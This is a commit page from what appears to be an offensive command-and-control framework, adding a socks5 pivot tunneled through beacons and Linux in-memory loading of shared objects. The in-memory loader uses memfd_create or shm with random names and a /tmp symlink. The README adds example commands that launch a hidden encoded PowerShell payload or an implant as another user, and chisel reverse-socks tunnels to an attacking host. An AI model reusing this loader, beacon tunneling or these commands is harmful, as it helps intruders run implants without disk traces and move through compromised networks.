Skip to content

Commit

Permalink
MemoryModule linux & Socks stop
Browse files Browse the repository at this point in the history
  • Loading branch information
kali committed May 27, 2024
1 parent 9832dcd commit 41515bc
Show file tree
Hide file tree
Showing 9 changed files with 124 additions and 83 deletions.
1 change: 1 addition & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -102,6 +102,7 @@ Windows beacon uses primarily windows API and start with no module loaded. Modul
| spawnAs |Launch a new process as another user, with the given credentials. <br>exemple:<br>- spawnAs DOMAIN\Username Password powershell.exe -nop -w hidden -e SQBFAFgAIAAoACgA...<br>- spawnAs .\Administrator Password C:\Users\Public\Documents\implant.exe|
| chisel |Launch chisel in a thread on the remote server.<br>No output is provided.<br>exemple:<br>- chisel status<br>- chisel stop pid<br>Reverse Socks Proxy:<br>- chisel /tools/chisel.exe client ATTACKING_IP:LISTEN_PORT R:socks<br>- On the attacking machine: chisel server -p LISTEN_PORT --reverse<br>Remote Port Forward:<br>- chisel /tools/chisel.exe client ATTACKING_IP:LISTEN_PORT R:LOCAL_PORT:TARGET_IP:REMOT_PORT<br>- On the attacking machine: chisel server -p LISTEN_PORT --reverse|
| tree |Tree|
| socks |Start a socks5 server on the TeamServer and tunnel the traffic to the Beacon.<br>The tunneling is done using the communication protocol of the beacon.<br>Only one socks5 server can be opened at a time.<br>exemple:<br> - socks start 1080 <br> - socks stop|

AssemblyExec & Inject, that use Donut project, make it possible to launch binary EXE, DLL, managed or unmanaged direclty from memory on the remote host.

Expand Down
4 changes: 4 additions & 0 deletions client/ConsolePanel.py
Original file line number Diff line number Diff line change
Expand Up @@ -431,6 +431,10 @@ def onActivated(self):
('spawnAs',[
('user password implant.exe', []),
]),
('socks',[
('start 1080', []),
('stop', []),
]),
('evasion',[
('CheckHooks', []),
('Unhook', []),
Expand Down
3 changes: 3 additions & 0 deletions client/ListenerPanel.py
Original file line number Diff line number Diff line change
Expand Up @@ -205,16 +205,19 @@ def __init__(self):
self.labelType = QLabel("Type")
self.qcombo = QComboBox(self)
self.qcombo.addItems(["http" , "https" , "tcp" , "github" , "dns"])
self.qcombo.setCurrentIndex(1)
self.qcombo.currentTextChanged.connect(self.changeLabels)
self.type = self.qcombo
layout.addRow(self.labelType, self.type)

self.labelIP = QLabel("IP")
self.param1 = QLineEdit()
self.param1.setText("0.0.0.0")
layout.addRow(self.labelIP, self.param1)

self.labelPort = QLabel("Port")
self.param2 = QLineEdit()
self.param2.setText("8443")
layout.addRow(self.labelPort, self.param2)

self.buttonOk = QPushButton('&OK', clicked=self.checkAndSend)
Expand Down
2 changes: 1 addition & 1 deletion core
106 changes: 53 additions & 53 deletions libs/libMemoryModuleDumy/src/MemoryModule.cpp
Original file line number Diff line number Diff line change
@@ -1,20 +1,32 @@
#include "MemoryModule.h"

#include <vector>
#include <fstream>

#include <dlfcn.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/utsname.h>
#include <unistd.h>

#define SHM_NAME "testshm"

void generateRandomShmName(char *name, size_t length)
{
// Define the character set to choose from
const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
size_t charsetSize = sizeof(charset) - 1;

// Seed the random number generator (if not already done)
srand(time(NULL));

// Generate random characters
for (size_t i = 0; i < length; i++) {
int randomIndex = rand() % charsetSize;
name[i] = charset[randomIndex];
}

// Null-terminate the string
name[length] = '\0';
}


int kernel_version()
Expand Down Expand Up @@ -54,86 +66,74 @@ int kernel_version()
}


int open_ramfs(void)
{
int shm_fd;

//If we have a kernel < 3.17
if (kernel_version() == 0)
{
// https://man7.org/linux/man-pages/man3/shm_open.3.html
shm_fd = shm_open(SHM_NAME, O_RDWR | O_CREAT, S_IRWXU);
if (shm_fd < 0)
{
fprintf(stderr, "[-] Could not open file descriptor\n");
exit(-1);
}
}
// If we have a kernel >= 3.17
else
{
// https://man7.org/linux/man-pages/man2/memfd_create.2.html
shm_fd = memfd_create(SHM_NAME, 1);
if (shm_fd < 0)
{
fprintf(stderr, "[-] Could not open file descriptor\n");
exit(-1);
}
}
return shm_fd;
}


HMEMORYMODULE MemoryLoadLibrary(const void *moduleData, size_t size)
{
char shmName[6];
generateRandomShmName(shmName, 5);

//
// create the shms
//
int shm_fd;

std::cout << "kernel_version() " << kernel_version() << std::endl;
// std::cout << "kernel_version() " << kernel_version() << std::endl;

//If we have a kernel < 3.17
if (kernel_version() == 0)
{
shm_fd = shm_open(SHM_NAME, O_RDWR | O_CREAT, S_IRWXU);
shm_fd = shm_open(shmName, O_RDWR | O_CREAT, S_IRWXU);
if (shm_fd < 0)
{
fprintf(stderr, "[-] Could not open file descriptor\n");
// fprintf(stderr, "[-] Could not open file descriptor\n");
return nullptr;
}
}
// If we have a kernel >= 3.17
else
{
shm_fd = memfd_create(SHM_NAME, 1);
shm_fd = memfd_create(shmName, 1);
if (shm_fd < 0)
{
fprintf(stderr, "[-] Could not open file descriptor\n");
// fprintf(stderr, "[-] Could not open file descriptor\n");
return nullptr;
}
}

// memcpy in shm
write(shm_fd, moduleData, size);

char path[1024];

void *handle=NULL;

printf("[+] Trying to load Shared Object!\n");
if (kernel_version() == 1)
// printf("[+] Trying to load Shared Object!\n");
if(kernel_version() == 0)
{
snprintf(path, 1024, "/proc/%d/fd/%d", getpid(), shm_fd);
std::string path = "/dev/shm/";
path+=shmName;

handle = dlopen(path.c_str(), RTLD_LAZY);

close(shm_fd);
shm_unlink(path.c_str());
}
else
{
close(shm_fd);
snprintf(path, 1024, "/dev/shm/%s", SHM_NAME);
}
{
// When we pass the file descriptor, as the number is alwayse the same dlopen give use the same handle everytime
// We create a syslink with a random name to bypass this restriction
std::string path = "/proc/";
path+=std::to_string(getpid());
path+="/fd/";
path+=std::to_string(shm_fd);

std::string symlinkPath = "/tmp/";
symlinkPath+=shmName;

handle = dlopen(path, RTLD_LAZY);
symlink(path.c_str(), symlinkPath.c_str());

close(shm_fd);
handle = dlopen(symlinkPath.c_str(), RTLD_LAZY);

unlink(symlinkPath.c_str());
close(shm_fd);
}

return handle;
}
1 change: 0 additions & 1 deletion libs/libMemoryModuleDumy/src/MemoryModule.h
Original file line number Diff line number Diff line change
@@ -1,6 +1,5 @@
#pragma once

#include <thread>
#include <string>
#include <iostream>

Expand Down
2 changes: 1 addition & 1 deletion libs/libSocks5
87 changes: 60 additions & 27 deletions teamServer/teamServer/TeamServer.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,7 @@ using json = nlohmann::json;

TeamServer::TeamServer(const nlohmann::json& config)
: m_config(config)
, m_isSocksServerRunning(false)
{
std::unique_ptr<AssemblyExec> assemblyExec = std::make_unique<AssemblyExec>();
m_moduleCmd.push_back(std::move(assemblyExec));
Expand Down Expand Up @@ -285,7 +286,6 @@ grpc::Status TeamServer::StopListener(grpc::ServerContext* context, const teamse
if(object!=m_listeners.end())
{
m_listeners.erase(std::remove(m_listeners.begin(), m_listeners.end(), *object));
// std::move(*object);
}

// Stop listerners runing on beacon by sending a messsage to this beacon
Expand Down Expand Up @@ -460,16 +460,31 @@ grpc::Status TeamServer::StopSession(grpc::ServerContext* context, const teamser


// Launch a socks5 server on the TeamServer
// Only one socksServer at a time
// Then upon connection to the socks5 server, send an init message to the target beacon
// Upon positive response of the beacon for the binding of the ip/port finalise the handshack
// Then we relay the data send to the socks5 server to the requested beacon
void TeamServer::runSocksServer(int port, const std::string& listenerHash, const std::string& beaconHash)
{
// TODO handle the fail
// Start SocksServer
SocksServer socksServer(port);
socksServer.launch();

m_logger->info("Start SocksServer {}", port);
while(!socksServer.isServerLaunched())
{
std::this_thread::sleep_for(std::chrono::milliseconds(50));
m_logger->info("Wait for SocksServer to start on port {}", port);
}

if(socksServer.isServerStoped())
{
m_logger->warn("Start SocksServer failed on port {}", port);
return;
}

m_isSocksServerRunning=true;

m_logger->info("Start SocksServer succeed on port {}", port);

std::shared_ptr<Listener> socksListener;
for (int i = 0; i < m_listeners.size(); i++)
Expand All @@ -485,36 +500,44 @@ void TeamServer::runSocksServer(int port, const std::string& listenerHash, const
session = socksListener->getSessionPtr(kk);
}

m_logger->info("Force sleep at 0 to allow socks communication");
C2Message c2MessageToSend;
c2MessageToSend.set_instruction(SleepCmd);
c2MessageToSend.set_cmd("0.1");

if(!c2MessageToSend.instruction().empty())
socksListener->queueTask(beaconHash, c2MessageToSend);
// Start socks beacon side
C2Message c2MessageStartSocks;
c2MessageStartSocks.set_instruction(SleepCmd);
c2MessageStartSocks.set_cmd(StartCmd);
c2MessageStartSocks.set_pid(port);
socksListener->queueTask(beaconHash, c2MessageStartSocks);

m_logger->info("Force sleep to 10ms to allow socks communication");
C2Message c2MessageControlSleep;
c2MessageControlSleep.set_instruction(SleepCmd);
c2MessageControlSleep.set_cmd("0.01");
socksListener->queueTask(beaconHash, c2MessageControlSleep);

// TODO handle the stop
std::string dataIn;
std::string dataOut;
while(1)
bool isSocksServerRunning=true;
while(isSocksServerRunning)
{
// if session is killed (beacon probably dead) we end the server
if(session->isSessionKilled())
break;
{
socksServer.stop();
isSocksServerRunning=false;

for(int i=0; i<socksServer.m_socksTunnelServers.size(); i++)
socksServer.m_socksTunnelServers[i].reset(nullptr);
}

C2Message c2Message = socksListener->getSocksTaskResult(beaconHash);

// if the beacon request stopSocks we end the server
if(c2Message.instruction() == Socks5 && c2Message.cmd() == "stopSocks")
{
socksServer.stop();
isSocksServerRunning=false;

for(int i=0; i<socksServer.m_socksTunnelServers.size(); i++)
socksServer.m_socksTunnelServers[i].reset(nullptr);

socksServer.m_socksTunnelServers.erase(std::remove_if(socksServer.m_socksTunnelServers.begin(), socksServer.m_socksTunnelServers.end(),
[](const std::unique_ptr<SocksTunnelServer>& ptr) { return ptr == nullptr; }),
socksServer.m_socksTunnelServers.end());

break;
}

for(int i=0; i<socksServer.m_socksTunnelServers.size(); i++)
Expand Down Expand Up @@ -652,13 +675,12 @@ void TeamServer::runSocksServer(int port, const std::string& listenerHash, const
}

// Remove ended tunnels
socksServer.m_socksTunnelServers.erase(std::remove_if(socksServer.m_socksTunnelServers.begin(), socksServer.m_socksTunnelServers.end(),
[](const std::unique_ptr<SocksTunnelServer>& ptr) { return ptr == nullptr; }),
socksServer.m_socksTunnelServers.end());
socksServer.cleanTunnel();

std::this_thread::sleep_for(std::chrono::milliseconds(100));
std::this_thread::sleep_for(std::chrono::milliseconds(20));
}

m_isSocksServerRunning = false;
m_logger->info("End SocksServer {}", port);

return;
Expand Down Expand Up @@ -696,13 +718,24 @@ grpc::Status TeamServer::SendCmdToSession(grpc::ServerContext* context, const te
m_logger->debug("SendCmdToSession Fail prepMsg {0}", hint);
}

// Start a thread that handle all the communication with the beacon
if(c2Message.instruction() == Socks5 && c2Message.cmd() == StartCmd)
{
// start the server and launch a thread to handle socks messages
int port = std::atoi(c2Message.data().c_str());
if(m_isSocksServerRunning==true)
{
m_logger->warn("A SockServer is already running");
}
else
{
// start the server and launch a thread to handle socks messages
int port = std::atoi(c2Message.data().c_str());

std::thread t(&TeamServer::runSocksServer, this, port, listenerHash, beaconHash);
t.detach();
}

std::thread t(&TeamServer::runSocksServer, this, port, listenerHash, beaconHash);
t.detach();
// the start cmd is send by the thread to be sur that the server started succesfully
continue;
}

if(!c2Message.instruction().empty())
Expand Down
1 change: 1 addition & 0 deletions teamServer/teamServer/TeamServer.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -70,6 +70,7 @@ class TeamServer final : public teamserverapi::TeamServerApi::Service
int prepMsg(std::string& input, C2Message& c2Message);

private:
bool m_isSocksServerRunning;
void runSocksServer(int port, const std::string& listenerHash, const std::string& beaconHash);

nlohmann::json m_config;
Expand Down

0 comments on commit 41515bc

Please sign in to comment.